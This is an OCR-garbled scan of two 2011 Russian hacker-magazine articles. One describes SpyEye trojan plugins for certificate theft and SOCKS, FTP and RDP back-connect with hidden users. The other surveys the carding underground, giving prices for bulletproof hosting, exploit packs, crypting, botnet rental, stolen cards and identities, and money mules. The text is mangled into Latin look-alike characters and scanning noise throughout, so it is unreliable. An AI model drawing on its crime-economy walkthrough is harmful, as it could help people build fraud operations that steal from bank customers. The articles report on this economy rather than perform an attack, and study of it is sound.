kapTbl, ToBecb POST-3anpocotcbinaetcs B konnektop. Hantu
crpabneHHble CCMoXHO Yepe3 coOTBETCTBYOWNIA MHTepdeiic
nowcka B naHenuynpasneHus gopmrpabbepa.

ffcertgrabber. basoBas komnnekTaunsa SpyEye 3aHuma-
eTCs XMLLEeHNEM CepTUPUKATOB TOSIbKO U3 KPUNTOXPaHWUAMLLA
Windows. OgHako Firefox ncnonbayetcobcTBeHHOE XpaHuauLLe
cepTudukaToB. B cBA3M CaTUM eCcTb cneunanbHblii NAaruH 4ns
xuieHns ceptudukatos s FF. MpepycmoTper nogbop naponen
Mo CI0Bapio B CNly4ae, eCiM HanpoduibycTaHOBIEH MacTep-
naposb. B KoH$Urypaunm nnarnHa N1Lb 0AHO 3HaYeHne —
MUHMMasIbHOE BpeMs 0XKWMAaHWA Nepes 0TNpaBKon cepTuu-
KaToB B KoseKTop [ykasbiBaeTcs B cekyHaax). Crpabnentsie
cepTudukaTtbl nmetoT npedukc FF.

Socks5BackConnect.MnarvH nogHnumaet SOCKS5-cepsep
HaboTeunnpepocTaBnaeT gocTynk Hemyyepes BackConnect-
cepBep. BrnaBHoli naHennynpaBneHns uMeeTcs nHTepdeiic,
no3BONAIOLMIA 0TOBPaXaTb CNMCOK AOCTYMHbIX Socks 0B.
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FTPBackConnect.MnarvH nogHumaet FTP-cepBep Ha boTe
nnpepocTaBnseTpocTyn k HemyyepesBackConnect-cepsep. B
rnaBHOM NaHe M ynpaBieHns MeeTcs MHTepdeiic, No3Bonsio-
wui oTobpaxaTb cnucok FTP-cepsepoB.

RDP BackConnect.lMnarux nogHumaet RDP-cepsepu
npokmabiBaeTerofo BackConnect-cepsepa. Takxe nnaruH pea-
JIN3YeT CO3[aHNe COKPbITOr0 MoJb30BaTe s, KOTOPbINA M HYXeH
nnsiynaneHHorovcnonb3osanus [Knonpotokony RDP. Ewe B
HeMnpefycMOTpeHa naHenbynpaBaeHns Ans 3anyckanwboro
npoteccaoTNoborononb3osaress B cucteMe (4T06bI MOXKHO
6b110 CO34aBaTb NPOLLECChI 0T UMEHM OPUTHAJIBHOMO MOb30-
Batens). MewescTpoera Portable-sepcua TotalCommander'a,
3arpy)xaemMoro M3 MHTepHeTa 1 3amnyckaeMoro npsiMo U3 namstv
(6e3 coxpaHeHus Ha anck).

MnaruHy He Hy>xHa nepe3arpy3ka 0C gns paboTsl.

MnarviH BKloyaeTcsa Yepe3 rnaBHYI0 NaHeNbynpaBaeHus.
Cnncok 60TOBMOXHO YBMAETH B COOTBETCTBYIOLLEM MYHKTE MEHIO
(RDP).MogkntoyaTbes k 60TaM MoXHO Yepes cTaHgapTHoe M0 0C
Windows «mstsc.exe» Remote Desktop Connection.

MuHychl TeKyLLe Bepcumn nnarvHa:
®  HeTNOAAepPXKUXbh-cuctem;
® MNaruHy HYXXHbl NpaBaagMUHUCTpaTopa Ans paboTsl;

e Henopaepxusaetca Win7 Starter (umenHo Starter);
® KpOMeTOro, ecTbniaruHbl Aas pa3paboTynkos notnagku!

3AKJIHONEHNE

[Tocne 03HaKOMIEHWS C3TVIM 3BEPbKOM M €10 0KYMeHTaLen
CTaHOBWTCAMOHATHO, YTO Nepef HaMi — MOJTHOL|@HHbI Npo-
rpaMMHbIA NPOAYKT, XOTb M Npe/iHa3Ha4eHHbI A5 COBEpPLIEHNS
NPOTUBO3aKOHHbIX LENCTBUIA. KoMNbloTepHas npecTynHoOCTb
nepexoauT Ha HOBbI YpPOBEHb CBOET0 pa3BUTUS. Vicnonb3yeMble
MHCTPYMEHTbI M CpeacTBa, pasfefieHne obsa3aHHoCTel, cpa-
LLMBaHME COPraHN30BaHHbIMU MPECTYMNHbIMW rpynnamMm —Bcé
3TO NyratLie TeHAEHUNN. Y)Ke CyLLLeCTBYIOT Liesble HAYCTpUn
Mo HanycaHuIo BUPYCOB, NpefjocTaBaeHNs 60THETOB BapeHay,
npopaxe Tpaduka 41 3apaxeHns nycTaHoBkr 60ToB. DyHK-
umoHan SpyEye nopaxaeT, a Hanuyne nofobHo TexHyeckoi
[OKYMEeHTaLMmn roeopuT o npopeccnoHanmamMe eropaspaboryn-
KOB—HeyMBUTEIbHO, YTO Mbl HabJ1t0aeM KOJT0CCabHbIN POCT
yncnamolweHHuyecTsa c cuctemamu [160. CtoumocTb SpyEye Ha
4epHOM pblHKe KonebneTcs B paioHe ecATKa ThiCAY 011apoB
3aBEpPCUI0 CNOJHbIM HabopoM Moayneit. YunToiBas cBepx- [~
peHTabeNbHOCTbL NPECTYNHON AATENbHOCTY, KOTOPYIO MOXKHO

—_— ABoTTakK
OCYLLLeCTBATL C €0 MOMOLLbIO, 3TO eLLe He MHOro. 3
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KAKU CKOJIbKO
3APABATbIBAIOT HALU
KPUMUHAJIbHbBIE
KOJINErn?

(1:7]

a

Bbl, BDEMEHA, KOT 1A XaKepbl CO3,aBasivi CBOM TBOPEHWS
I y ¥ B371aMbIBaNV CalThbl UV MPOrPaMMbl TOIbKO Paau
TOro, 4Tobbl HaCONNTL pa3paboTumMKy MM foKasaTb
[PY3bSiM, 4TO OHW MOTYT MPOHMKHYTb B [TeHTaroH, yxe npoLuu.
KoHeuHo, BcnoMuHas HefiaBHMe cobbiTus c Anonymous v LulzSec,
aTakxe YnTasi pecypchl fepeiicepos, MOXXHO CKa3aTb, YTO «MAEN-
Hble» eLLe He NepeBENCh, HO MO BobLUIEN YaCTU BCS KMBEPKPH-
MUHaNbHas aKTUBHOCTb, KOTOPas BeleTCS Ceiivac BUHTEPHETE,
HanpaBJ/ieHaTo/IbKo Ha 0jHO— 3apabaTbiBaHue AeHeT.
Hayanocb Bce 370 Ha 3ape pacnpocTpaHeHUs UHTePHeT-
BaHKMHra v NnaTeXHbIX CUCTEM, KOTfia peasibHble leHbr 1
CTaNo BO3MOXHbIM NepexBaTuTb yepe3 CeTb M noToM 06bHa-
NNYNTh. B Halww xe BpeMeHa kKubepnpecTynHUKM KpagyT
BykBanbHO BCE U, KaK M 0ObIYHbI KPUMUHAN, UMEIOT YETKO
pacnucaHHble posin, chepbl BANSHNS, NepapXuio N CTPYKTYPY,
o4yeMunonfeT peyb fanblie.
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3BOJIOLUA TPABEXA

BHauane 2000-x rr. 6aHKu TOIbKO HAYMHANM AyMaTb 0 CBOEA
OHJ/1aliHOBOM 6e30MacHOCTM, a Xakepbl—O0TOM, Kak MHOT0 ieHer
OTTYAaMOXHO yBeCTW. Heco3HaTenbHble 0ANMHOYKM HAaX0 AU N

YyA3BMMOCTU B CMUCTEMAX 3aLLUNTDI ¢WIHa HCOBbIXOHJ’IaVIH-OHepaLI,VIﬁ

TOro UM MHOro baHka, ygoanav 6asy KapToyek U BbICTaBAANN ee
HanpoAaXxy B OTKPbITOM BUAE. Ha He 0c0B0-To 3acekpeyeHHbIX
bopyMax MOXHO GblJ10 CMOKOMHO MPOYUTATL UMEHA TEX HECHACT-
HbIX, Y KOTOPbIX yBEIM 6aHKOBCKME PEKBU3UTHI, NY3HaTb Apyrie
MHTUMHble NoApobHocTU. MpodeccroHanbHble Kapaepbl u
NpoCTO flypaykuv pafoCcTHO CKYNann Takoro pofa uHpopmatmio,

BbICTPEHBKO NeYaTanm HyKHbl N1acTUK (T eCTb 1eBYI0 KAPTOUKY

CNpaBuUbHOI MHbOpMaL el o feHbrax) v WM 3anacaTsca B
bnvxanumii baHk. bonee yMHble nnacTukaHe neyaTanu, asa-
Kynanuch B OHNalH-MarasunHax.

OpHako xansBy Ha4anu 6bICTPO NPUKPbLIBATL: CTaN0 NOSB-
NaTbCs BCe 60MNblUe aHTUBMPYCHbIX PeLUeHt, KoTopble CTanu
nonajatb He TONbKO K 03epaM, Ho B M 6aHkKU. AnocnepHue,
KPOMe TOro, CTan yXXecTo4aTh LOCTYN K CBOUM JaHHbIM, TO
ecTbB3JI0MaTh baHk cTaso ropasfo cnoxHee. l[puatomno-
nNLMs Havaa obpalaTe Bce bonblue BHUMaHUSA Ha NOA00HbIe
KPUMUHaNbHbIe aKTUBHOCTM, YTO MPUBEIO K TOMY, 4TO «3aKyn
M0 MOJIHO» Ha 04epeJHOM XakepckoM popyMe MOr 0bepHy Tb-
csiBCTpeyeli cnpeacTaBUTENSIMI 3aKOHa, UTPaloLL MK PoSib
npojasLoB. HaaToli BoNHe nocTeneHHo cTan GopMupoBaThCs
boniee pa3BUTLIN PBIHOK, CO CBOEN CnelnduKoi 1 cneunanmsa-
uvein Ha 6aHKOBCKUX TPOSHaX.

KoHeuHo, H1KyAa He AeMCb U3HayabHble NOAXO0AbLI TUNa
CKMMMMUHra, Tynoro B3soMa 6aHKOMaToB 1 MpoYero, HO BCe 370,
nocyTu, rpybo M HeakKypaTHO, He rOBOPS yKe 0 TOM, YTO XJ10-
MOTHO, Kak bbICTPO NOHAM NapHK, KoTopble Hawwn 1001 cnocob
YBECTW BCIO HYXXHYI0 MHOpMaLmio c koMna nosb3osaTens. Co-
rnacHo ctaTucTike oT «JlabopaTopun Kacnepckoro», koTopas
BHWMaTeNIbHO U3yyaeT ntobuTenei «nonomate» barku, 322010
r.eeaHanuTuknpobasunubonee 60Tbic. cUrHaTYp C BEPANKTOM
Trojan-Spy. OcTanbHble AaHHbIE Thl MOXELLb MOCMOTPETH Ha
cooTBeTCTBYtoLEeM rpaduke, HO HAANLO TOT GaKT, 4To ManBaph
nuLyTBce bonblue M bonblue, U BbILLEYNOMSHY ThI BEPAUKT
npeBanupyer.

OT4ero? 0TTOro, YTO 3/10YMbILLAEHHUKM MOHSIN, YTO NYCTh
nyyuwe cobnpaetcs BCanHpopmaL s, aTaM noCMOTPUM, Kak elo
Bocnonb3oBaTbcs. CobupaTb ToNbKo baHKOBCKME AaHHbIE Yepe3
baHanNbHbIN GULLNHT, INEKTPOHHYI0 KOPPECTOHAEHLMI0 0T baHKOB
BKJII0Ye «Mbl TYT peLlnn 06HOBUTbCS, NOLTBEPAUTE faHHbIe
CYyeTa» M MpOYMe JIOXOTPOHbI B KAKOW-TO MOMEHT CTasio He MOJHO.

P S
PR
TR R T 0T e
Bt itk

| S—— i

FRRT b e A

PR Pl

BT P LI i L

Vo ] i S LI T o i A

FO, AT T

Harpyma

Srmaael R 08 WR b B ue Bom o
Ly Lb DR LA

i = pame

LR ]

Bl

e fe

[EXT

g

R S

XAKEP 10/153/2011

——

KoHeuHo, Ky4a KVI6epI'IpeCTyI'IHVIKOB npoAo/HKaT3To AenaTh,
HO 3¢¢eKTMBHOCTb noAaxonaHe CToJib BbICOKa. Pe3yﬂbTaTMBHble
YAapblnony4atloTCca peaKo, Npu 3TOMYyMHble Heroganysunenu,
KakKMOXHochenatb Gonblue nnydue.

OTJIAXKEHHbBIVI MEXAHU3M

TakuM 0bpa3oM, B 63HeC CTann NOTUXOHBKY NPUXOAUTL UHAN-
BUAYYMbl C MO3raMu, KOTOpbI€ BbIIN FOTOBbI PYSNTb AEHEXKHbBIMU
noToKaMu, HO He yMen NucaTb ManBapb. BuyacTHoCTK, nog ux
B/IMSIHMEM PbIHOK CTa CMeLnanm3npoBaTthes, NOAeIBLINCH Ha
pasfinyHble rpynmbl, 0 KOTOPbIX Mbl jafibLie NOr0BOPUM.

HauHeM c cospaTeneit ManBapu—rextofei, KoTopble
Nyylle BCeX lepXaT pyKy Ha nynbce. Bes ux gestenbHocTb
HamoMWHaeT NPON3BOACTBEHHBIN LMK 11060ro NporpaMMHoro
NPOAYKTa: U3yYeHune pbIHKa, CO3AaHNe Ka4eCTBEHHOTO PYHK-
umoHana, bopbba c KoHKypeHTamu. Te, KTO CTOMT 3a CO3AaHNEM
3KCMIOMT-NakKoB W CypoBoii ManBapuTuna SpyEye n Zeus'a,
TLWaTeIbHO AOKYMEHTUPYIOT U3MeHeHUs, bbICTPeHbKO BHOCAT
KOPPEKTUBLI B KO/, KaK TONIbKO UX HAYMHAET LeTeKTUpoBaThb
TOT MM UHOW aHTUBUPYCHbIV BEHAOP, AaXe A06aBSIOT B CBOIO
ManBapb MUHW-aHTUBUPYCbI, BbITUPas TeM caMbiM Hanbonee
3/10CTHBIX KOHKYPEHTOB. [Tpryem AenaloT OHM 3TO He XyKe 3a-
NpaBCKOro aHTMBMpPYca. Tak)Ke CTOUTYNOMAHYTh, YTO XaKepbi-
anbTPYMCTbl B31aMblBalOT JOPOrne TBOPEHMA CBOUX cobpaTbes
1 BblKNaAblBalT Ha GopyMbl NpocTo Tak. ToTxe Zeus, SpyEye
M NPOYME U3BECTHbIE BY3KMUX KPYrax TyN3bl MOXHO CIOKOWHO
cKayaTb B KPSKHYTOM BUAE.

Tak 4T0 CO3/aTeNAMTAaKUX TPOSHOB MPUXOANTCA bopoTbes
ellle M CTakMM BUOM Hana/okK, Bce BpeMs ynyyllas CBOM TBO-
PeHUS 1 BblyMbIBas HOBbIE CPeCTBA 3alLMTbI. Haym npuxogut
aHanoruns c KnTaLaMu, KOTopble HeLLaHO KONUPYHT aitdoHbI 1

BKuTae, kak BuauLIb,
MOXXHO XOCTUTb BCE
yroyroaHo. Unpu
3TOMOYeHb ieleBo

[LeweBeHbKUi
6oTHeT! HukomMy
HeHapo?

e —
FrEHUUN-MPOrPAMMUCTDBI UTU NULLIYT
MAJIBAPb HA3AKA3, UIN CO3AAIOT
YTO-TO KPYTOE CAMUCHYNA
UHAYUHAKOT NPOOABATD
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4] npoyuve MOJHble eBaNChl, TEM CaMbIM nogpoiBas 6n3Hec bonblmnx
MyCnewHbIX KOHTOP.
KakBuauwb no 0 6
0T3blBaM, KpUNT 4YeBUOHO, YTOTakune I'IpDI'paMMep?l CTOATropasfobonbLle
ReiCTBUTENbHO TUAWYHOT0 aHAJIMTNKA BAHTUBUPYCHOW KOMNAHUK, Mpn4eM B Npa-
noMoraeTpocTUYbLNO-

CTaBJIEHHbIXTHYCHbIX

pa60TOK60J‘IbLLIe,‘-IeM Mecﬂ‘-leIlZyTMI'IVIL{HOI'OTOI'I-MeHe,D,MepaB

3anafiHoii koMnaHuuu. Takune Noau HUKoraa He NnepengyTpaboTtaTb

BHOpPMaJibHY0 KOMNaHWIO faxKe pykoBoanTenamMu pa3pa60TKV|:

Pa3BeYTOTOJIbKO MOCETOro, Kak CTaHyTMUNNINOHEPaMU. NecTe-

[~ CTBEHHO, CTeM YTobbI He CBETUTLCA B AaNbHelLIEM.

Ckavatb SpyEye [eHMM-NporpaMMMUCTbl MM NULLYT ManBapb Ha 3aKas, nau
MoxeT nko6oit, kTo B CO3[1at0T YTO-TO KPYTOE CaMU C HYNIS M HAYMHAKT NPOAaBaTh.
COCTOAHMM 336U T
NOMCKOBBIM 3aNPOC B [lenaloT oHM 3TO NO-NpexxHeMy Yepe3 TeMaTuyeckne GopyMmsl,
Google TOJIbKO MOMacTb Ha HUX TeMepb HEMHOrO CioXHee. Kak npasu-

Ercte e S ur Baiie o b B ERrtaem et ¢ L ARl IR TRk RREP
VA RARRd R ]

o mda

wsde i k08

»

e ETrE

— Ay e g e B Ry

i

1 Bt i ey s i pla ]

[ r— [[pm—— ;
¥ gy g lprd py oo

s sk [aedan

=iy

s LI T e e

gt
ESp s e ttra pp ST | m——— e e

L]
) s -y -

D A e S SR 1] B ERRE A RE EE SAL L AL

LpmE, e ] P
B, L

WAL [ i, Renbe]
Taellee 11 3 W | Crmfaed Fiay] - ekl w gl
Tl mw o] 8 | Croted by BT @ (i w Py

Bl
T
a4 | Cramad

084

MoM cMbicne. CornacHo pacckasaM HexopoLunx HapHeVI, KOTOopble
uenein Co3[atoTpeasibHble TPOAHbI M 3IKCNJIOUT-Naku, UX HefenbHbIN 3a-

110, HYXKHbI PEKOMEHAALUM MM MHBAUTBI OT CTAapoXnnos. Mo-
nepaTopsbl GOpyMOB 3a4acTyto TaKXKe UTPatoT posib rapaHTos,
TOeCTbNOCPeAHNKOB, KOTOPble 0TBEYAlOT 3a TO, YTO, 3aKa3aB
ManBsapbyBacu, Tbl He NPOCTO BbIKMHELLb AeHbI M, @ NONYYULLb
To,4yTo0bewaeTBacs.

OTnenbHble UHAWBUAYYMbI 3aHUMAlOTCS CO3fiaHNeM boTHe-
ToB. VIxMoxHO apeHgoBaTth ans DdoS'a, ans fansHeiwero pas-
BUTWS M cOopa [aHHbIX C 03€poB, ANF MOCAeAyioLLet Tpofaxu,
L7151 OpraHn3aLnm aHOHVMHbIX TPOKCU-CEPBEPOB U T. M.

OTnenbHO 3aTOYeHHble TOBAPMLLM 3aHUMAIOTCS NOUCKOM
ys3BMMOCTEN BO BCEM M BCS. 3T0 camasi besonacHas paboTa. Thl
HaBepHNKa 3Haelllb NerMTUMHbIe PeCypChl, KOTOpbIe Npeanara-
loTTebe fennTbCA Hal e HHbIMW YA3BMUMOCTAMM 3a becnnaTHo
UMM 32 MENKYI0 IEHEXKKY Paiu MUpa Ha 3eMJle.

Ho He Bce e Takue ansTpymncTbl, 0COBEHHO NPYYCI0BAUTOTO,
4TO CO3JaTesIN IKCMIIONT-NAKOB MOryT 3annaTuTh 3a HaNAeHHY0
Y13BUMOCTb HECKOJIBKO e CATKOB ThiCHY 6aKCOB, eCnv peybuaeTt
06 0day-Haxozke B caMoi nonynspHoii Bepcun Windows'a.

HakoHeL, Mbl fobpanuck o Tex, KTo, COBCTBEHHO, 3a-
Ka3blBaeTBeCb baHKeT—NpPecTyNHUKOB, KOTopble GUALTPYIOT
TOHHbI YyKpPaLeHHOW MHGOPMALUW M BEICTABNAIOT €€ HAa NPo4axy
BCMeumanmu3npoBaHHbix MarasmHax (CM. cooTBeTCTBYOLL N
CKpUHWOT).

3To AnNeEpbl, KOTOPbIE NPeANaralT KOHEYHbIM NoTpebunTe-
NAM— 4PYrMM NPeCcTYNHUKAM, — AOCTYN K KWUBbIM fieHbraM.
Hy To ecTb NpakTUYeCcKU XUBbIM. [ToNy4YnNTb [OCTYN K TAKUM
MarasmHaM CJI0OKHO: Ha[j0 ObiTb B TYCOBKE, perynspHo 3a-
KynaTbcs Ha bonblune cymmbl. [paBaa, M npefocTaBnseMblii
CepBUC Ha BbICOTE: KYNMUTb MOXHO BCE YTOYroAHO. Mbl yxe
BCKOJIb3b YMOMSHYIM 0 TOM, 4TO KpajyTBCe: HoMepa baHKoB-
CKMX KapTcnuMHaMu n 6aHKoBCKMe cyeTa—ToBap, KOTOPbIM
HWKOrO HE YAUBUTb M KOTOPbIN B CBETE aKTUBM3aLUM Kubeprno-
NMLKMK [oBObHO Hebe3onaceH fns obHanuyku. Mpasaa, ecTb
BO3MOXHOCTb 3aKa3aTb KapToOYKy onpeneneHHoro baxka,
onpefeseHHoro TUMa, Hy>XXHOoW CTpaHbl, YTO B pAfe cyyaes
NPUBOAMUT K CUITbHOMY CHUXKEHMIO rpajyca onacHocT (Tbl,
HanpumMep, ciblwan o kubepnonuuum Jlaoca?). Hazakas npo-
faBel 4oCTaHeT BCe YToyrofHo. LleHbl geMokpaTnyHbie — 10
% 0T [OCTYMHOW HAaNNYKMK.

KpoMe Toro, MOXXHO KynuTb ntobble NNaTHbIe aKKayHTbl—Ha
panuglwapy, B XK, ckannunpoyee. HaBUpTyanbHbIX MoKax
nexaT yKpaLeHHble MNLeH3nn Ans codTa, BKI0Yas, YTo caMoe
CMeLUHOE, aHTUBUPYChI (CM. CKPUHLIOT), naponuu noruHbl K FTP-
cepBepaM (byaeTrae noxoCTUTb KOMaHAHbIN LeHTp 6oTHeTa).

BnocnepHee BpeMsi nonynsapHocTb HabupaeTnpoaaxa
JIMYHOCTU, TO €CTbYKPALEHHbIX AaHHbIX 0 NacnopTax, Nponucke,

HoBbiiinacnopr, aaewe c 6ecnnatHoii focTaBKoii?! BuHete Takoro gobpaxeartaer
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Exp—wTyKaA0BOJIbHO U3BECTHAA U A0BOJIbHO JIETKO fOCTYNHas

MecTe XWUTesbCTBa, HOMepax CTpaxoBok 1 npoyee. TbiHe no-
BEpULLb, HO OFPOMHOE YACO TYMbIX 03€POB CKaHMPYIOT NacnopT,
KpeAnTKM, NeHCnoHHoe cTpaxoBaHue, IHH unpoyne fokyMeHThI
1 0CTaBAAKT ITU CKaHbl Ha BUHTe. ANOTOM peaibHble NpecTyn-
HUKU, NONYYMB CKaHbl, BbIka4aHHbIE TEM XKe Zeus'oM, pafjoCTHO
[leNatoT C3TOro X035MCTBA KJIOHbI, KOHEYHO XKe, C GOTKOM 3aKa3-
4vka. [1ns psa cTpaH X MOXHO faxe 3aperunTsb B 6ase nonuyuu!
Tak yTo cTaTb rpaxaaHuHoM AMepuKu (Hy Unn no kpanHer Mepe
BbexaTbTyaa Ha [IMX] MoxxHo 3a kakue-To 1000 gonnapos.
Mp13ToM NOHATHO, KaK ya0bHO BCe 3TO B paMKkax MacLITab-
HolonepaLnu: Heknid BacsanognmeHem [xoHa CMuTa Bbes-
XKaeT B CTpaHy, yBOAWUT MUNIIMOH 6aKCOB CO B3/IOMaHHOT0 CYeTa,
Ha KOTOPbI 3TW LeHbI 1 NepeBen C Lpyroro c4eTa, M CoKonHO
ye3xaeT AoMoii. [ofmyus npuesxaeT K HU B YeM He MOBUHHOMY
nowKy CMUTY, MacnopTKOTOPOro yKpasnv uakkayHT KoToporo
bl B310MaH, M HaYNHaEeT CTaBUTb €ro B O4YeHb Hey06Hoe Moo~
xeHue. [pr 3TOM HalTU KoHLbl Bacu npakTuyeckun HepeasbHo.
B obuieM, Kak Tblyxe NoHsn, Bce yaobHo nno ponsiM. Ecan Tl
Heropav nTebe xoyeTcsaucnbITaTh CyAbOY, Thl MOXeLLb BbIDpPaTh
ellle U MPodeccuio Myna, U caM KynnTb BOPOBAHHbIX KAPTOYeK,
M MOWTN CHUMATb HAaNMYKY MU KynuTb Ha HUx 100 alidpoHoB 1
3aka3saTbuxcebe somoit. Be3 MynoB, cobCTBEHHO, HVKYAA, BTOM
cyyYae eCaM NpecTyNHUK X04eT NoNyYUTh peasbHble JeHbru.
[naTorouTobbli Tebe cTano NOHATHO, Kak BCe 3TN BUHTUKM
06pasyoToTNaXeHHbI MEXaHW3M, AaBali pacCCMOTPUM NYTh K
NlerknM ieHbraM oT Hayana 4o KOHLa, Tak, Kak eciiv bbl Hekunii
3710y MbILLTIEHHWK PELLI HEMPUHYXAEHHO 000raTUTbCS, BOC-
NoJib30BaBLINCH CBOOOAO M ONnaraMu MHTepHeTa.

HOWTONOTTO DO
Cpa3syoroBopuMcs, 4To BCe pacnucaHo npubansnTenbHo, conpe-
LLeIeHHbIMU A0NYLLEHNSIMU M B PaMKaX y3KOro cLieHapus. 3HaToKu
nenalaHac HaBepHAKa MOUCTLIBAIOT M TaKMe) MOryTnoCnopnTs 1
HaNUTU Ky4y HETOYHOCTEN, HO MOBTOPIOCH: TMABHbIA CMbICT—/aTb
MOHSATb, KaK BCE A0BOJIbHO N1€rKo M NpuObIILHO.
[nsHavanaknbepnpecTynHUKYW BbIBUPaKOTKEPTBY: UK
OJHY, MM 04eHb MHOro. OT3TOro 3aBMCUT, Kak OHW cobupatoTcs
oborawatbcs: 6bICTPO 3a 0AMH pa3 MM NoCTENEHHO 3a cHeT
bonbluoroyncnatosepos. Kak crneacTBue, MEHSETCH MTUM ATaKu:
TapreTupoBaHHas v koBpoBoe bombomeTaHme. B cnyyaeTap-
reTupoBaHHOM aTaku MHdopMaLms cobrpaeTcs, Kak NpaBuIIo, C
coLManbHbIX CETEN, NPU MacCoBOM NOAX0E 3TO HE CTOJb BaXKHO.
[anblue Hafo pelnTb TEXHUYECKUE MOMEHTbI, TO €CTb Kak
byneT pobbiTa MHPopMaLmMs 0T He3ajauAnBoro 3epa. [Jns Ha-
yanabepeTcaTak Ha3blBaeMbl NyneHenpobuBaeMblil XOCTUHT.
B uHTepHeTe Ha TeMaTUyeCcKMX popyMaXx NpeAoKEHNN XOTb
oT6aBnsn. [ng noHVMaHWs: XoCTepy BCe paBHO, YTO Bbl TaM Xpa-
HWTe Ha cepBepax, NP1 3ToM OH He ByfeT cjaBaTh BaC NOANLUN.
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Y106blyHerocamoro He bbisio npobieM c 3aKOHOM, CepBepbl
pa3MeLlaloTcs B CTPaHax C TEMIbIM, MPUSTHBIM KJIMMATOM,
60MbLWNM KONNYECTBOM IUKMNX 00€3bAH M 3aKOHaMW, KOTopble
He NPUBETCTBYIOT BTOPXKEHWE MHOCTPaHHbIX CNeLcyXb Ha
CyBepeHHYI0 TepPUTOPUIO CTPAHbI 1 MJ10X0 OMUCHIBAIOT, YTO XKe
Takoe KMbenpecTynHoCTb, KpaXka IEHEeXKEK N MPOYMX MPUATHBIX
Belleil yepe3 uHTepHeT. CTOUT I rOBOPUTL, YTO MONLIMA TAKUX
CTpaH, Kak MpaBuJIo, He 0c060 FOBOPUT MO-aHMNACKM U He 0Co-
60M0/1b3yeTCs 3NEKTPOHHOW MOYTON.

MyneHenpobusaembii (aby3oycToNYMBbIN) XOCTUHT —Ca-
Masi foporas Bellb B TUMMYHOM KPUMUHANBHOM MEPOMPUATUN.
BcpepHeMoH 06oipeTcs B 500 aMeprKaHCKuUX 4onnapos B Me-
csill. MoXHO opoxe, MOXHO fielleBrie. B Le1oM Ha ycneLHblii
cbop MHbopMaL MK, pacTAHYThI BO BpEMEHW, Haf0 3aKNafbl-
BaTb HECKOJIbKO ThICAY A0J11apOB.

[lanee B cnyyae maccosoitataku (aoHu 6onee pacnpocTpa-
HEeHbI B LLeNIIX HAXKWBbI U MPU HEeXXeTaHUM NOTOM J,0/1r0 CUAETh
BTlopbMe) 6epeTcs Kakon-HUBYAb CBEXKEHbKNI IKCNIOUT-MNaK
(oHKe «KpaiiMBap-nak»), KOTOPbIN CTAaBUTCA Ha 3TOT CaMblil X0-
CTUHT. MOXHO faXxe cpa3y KynuTb BCe roTOBOE, MpeAyCTaHOB-
neHHoe. HeTTonbKo Neiinoafa, To eCTb ManiBapy, C MOMOLLbIO
KOTOPOW MyTeKyT AaHHble. IKCMIOUT-NaKK, KCTaTh, MOXHO
pocTaTb faxe 6ecnnaTHo. Ho ecnu Tbl Xo4ellb, 4TOObI B HIX
Bblnn cBeXME yHA3BMMOCTH, @ 3TO LOBOJILHO YaCTO 3as0rycnexa,
Tonpugetca3annatunts. Okono 1300-1500 6akcos.

B kubepnpectynHuku coBcem ebunos He bepyT, Tak 4To
OYEBWAHO, YTO 3/10YMbILLIIEHHUK MOHMMAET, YTO Ha KoMMe
XKepTBbI CTOMTKakon-Hnbyab aHTuBMpycC. Mo3Tomy, paspa-
6aTbiBas ManBapb M KPUNTYS YKe MMeIOLLYI0CS, KOBapHbIN
rafeHblLl A0JKEH NPOrHaTh pe3ynbTaT Yepe3 aHTUBUPYCHbIN
MyJbTUCKaHep. HailTn Takoe Lo6po B MHTepHETE B pa3nyHbIX
peann3alusax He COCTaBAAETTPyAa: 3TO MOXeT bbiTb 0bnauHoe
peLleHne, MOXKET bbITb JIOKaNIbHbIA CODT, MOXKHO 3anNaTuTb 3a
370 leHEr, a MOXHO BOCMOJIb30BaTbCS Y)Ke 3apaHee yKpafeH-
HbIM (HanoMHWM, 4TO TOT Xe BUpPYCTOTaN — pecypc, AaHHble
CKOTOPOroyTeKalT B aHTUBUPYCHbIE KOMMAHUN, NO3TOMY

npuBaTHyo Maneapb Ha HeM He TecTaT.— Mpum. pea.). Ecan ]

Xo4yeTcs rapaHTuit, To obbiyHo nnataT okono 500 bakcos. Xouelltb NogenuThes
YT106bl HANMCATbL MM 3aKPUNTOBATH YHUKANbHYIO Man- HallAeHHbIM 3KC-
Bapb, NPUAETCS BbINOXUTL elje bakcos 800. 3aTo, Kak 3TO HU nnouToM? 3o MW

o O VH U3 BapUAHTOB,
neyanbHO AN NPOU3BOANTENEN AHTUBUPYCOB, HN OAUH U3 FL€ MOXKHO OCTABHTD
HUX ee, CKOpee BCEro, He MoiMaeT B TeYeHUe Kak MUHUMYM MHbOpMaLmio
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MALWARE

e —
MAJIBAPb HAMUCAHA, XOCTUHT

ECTb, OCTAETCA BONPOC
PACIMPOCTPAHEHUA

Jio6oii 6aHK Ha BbIGop
MBCeBKONMYeCTBe

napbl AHeit, a 3Toro ,oCTaTo4Ho, YT06bl BbIKayaTb CXXepTB
BCe CaMoe MHTepecHoe.

MTak, ManBapb HanuncaHa, XoCTUHT, Kyfa naaHupyeTcs
cobupaTtb faHHble 0 KpeANTKAX M 6aHKOBCKMX CHeTax, eCTb,
ocTaeTcs Bonpoc pacnpoctpaHenus. Hetnpobnem! ApeHpyem
60THeT. LieHbl 3aBUCAT OTTOr0, U3BECTEH JIN OH Y)Xe MPOU3BOAM-
TeNAM aHTUBUPYCHbIX PeLUEeHWNI UK HeT, Kakue Tbl MoNy4nLLb
HafJ HUM NpaBa, CKOJIbKO MaLLH rapaHTMPOBAaHO B OHIaliHe 1
npoyee. OpueHTUpoBKa AN Havana—scero 200 6akcos, HO
3T0, KOHEYHO, MUHWUMYM.

EcnvkubepnpecTynHnk 0cobo yMHbI, TO nocsie NoKynku
boTHeTa OH ero MoANPULMPYeT — KPUNTYeT NPOTOKO Nepesa-
4K laHHbIX, MEHAeT YTo-To elle. Takum obpa3oM oH obe3onacnT
cebs0TKMAaN0Ba coCcTopoHbl Npoaasya boTHeTa. 3T0 byaeT
CTOWTb eLLe HeCKOJIbKO COTEH HaKcoB Y y)Ke NPUKOPMIIEHHbIX
nporpamMMucToB. bOTHeTyBsA3bIBaETCSA C IKCNNOUT-NAKOM,

M MnoHecnach: AaHHbIe HAYMHAKOT BaUTbCS HA MPeCTYNHbINA
cepBep. Bo3HuKaeT caMblii rnaBHbIN BONPOC: KAK 06HaNNYnTh
aeHbrn? 04eBNAHO, 4TO NEPEBO/ Ha B3JIOMaHHbIe CHeTa HMYero
He faeT:3T0 BCe 3leMeHTapHo npocaexuBaetcs. [loatomy npe-
